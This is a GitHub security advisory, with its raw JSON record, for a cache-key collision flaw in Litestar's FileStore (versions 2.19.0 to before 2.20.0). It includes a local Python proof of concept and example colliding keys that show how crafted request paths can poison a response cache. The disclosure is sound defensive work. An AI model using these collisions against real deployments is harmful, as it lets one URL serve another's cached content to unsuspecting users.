GHSA-VXQX-RH46-Q2PG

Vulnerability from github – Published: 2026-02-09 17:19 – Updated: 2026-02-09 22:38
VLAI?
Summary
Litestar's FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)
Details

Summary

FileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)

Details

litestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize("NFKD", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter). This transformation is not injective, e.g.:

  • "k-" and "k45" both become "k45" (because - ord('-') == 45)
  • "k/\n" becomes "k4710", colliding with "k4710"
  • "K" (Kelvin sign) normalizes to "K", colliding with "K"

When used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.

PoC

import asyncio, tempfile
from litestar.stores.file import FileStore

async def main():
    d = tempfile.mkdtemp(prefix="ls_filestore_poc_")
    store = FileStore(d, create_directories=True)
    await store.__aenter__()

    # 1) ASCII ord-collision: "-" -> 45
    await store.set("k-", b"A")
    v = await store.get("k45")
    print("k-  ->", v)
    print("k45 ->", await store.get("k45"))
    if v == b"A":
        print("VULNERABLE: 'k-' collides with 'k45'")

    # 2) NFKD collision: Kelvin sign -> K
    await store.set("K", b"B")   # U+212A
    v2 = await store.get("K")
    print("K ->", await store.get("K"))
    print("K ->", v2)
    if v2 == b"B":
        print("VULNERABLE: 'K' collides with 'K' (NFKD)")

if __name__ == "__main__":
    asyncio.run(main())

Impact

Vulnerability type: cache poisoning / cache key collision. Impacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore). Possible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.

Severity ?
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litestar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.19.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T17:19:06Z",
    "nvd_published_at": "2026-02-09T20:15:57Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nFileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)\n\n### Details\nlitestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize(\"NFKD\", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter).\nThis transformation is not injective, e.g.:\n\n- \"k-\" and \"k45\" both become \"k45\" (because - ord(\u0027-\u0027) == 45)\n- \"k/\\n\" becomes \"k4710\", colliding with \"k4710\"\n- \"\u212a\" (Kelvin sign) normalizes to \"K\", colliding with \"K\"\n\nWhen used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.\n\n### PoC\n\n```\nimport asyncio, tempfile\nfrom litestar.stores.file import FileStore\n\nasync def main():\n    d = tempfile.mkdtemp(prefix=\"ls_filestore_poc_\")\n    store = FileStore(d, create_directories=True)\n    await store.__aenter__()\n\n    # 1) ASCII ord-collision: \"-\" -\u003e 45\n    await store.set(\"k-\", b\"A\")\n    v = await store.get(\"k45\")\n    print(\"k-  -\u003e\", v)\n    print(\"k45 -\u003e\", await store.get(\"k45\"))\n    if v == b\"A\":\n        print(\"VULNERABLE: \u0027k-\u0027 collides with \u0027k45\u0027\")\n\n    # 2) NFKD collision: Kelvin sign -\u003e K\n    await store.set(\"\u212a\", b\"B\")   # U+212A\n    v2 = await store.get(\"K\")\n    print(\"\u212a -\u003e\", await store.get(\"\u212a\"))\n    print(\"K -\u003e\", v2)\n    if v2 == b\"B\":\n        print(\"VULNERABLE: \u0027\u212a\u0027 collides with \u0027K\u0027 (NFKD)\")\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\n### Impact\nVulnerability type: cache poisoning / cache key collision.\nImpacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore).\nPossible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.",
  "id": "GHSA-vxqx-rh46-q2pg",
  "modified": "2026-02-09T22:38:14Z",
  "published": "2026-02-09T17:19:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-vxqx-rh46-q2pg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/commit/85db6183a76f8a6b3fd6ee3c88d860b9f37a2cca"
    },
    {
      "type": "WEB",
      "url": "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/litestar-org/litestar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/releases/tag/v2.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Litestar\u0027s FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)"
}


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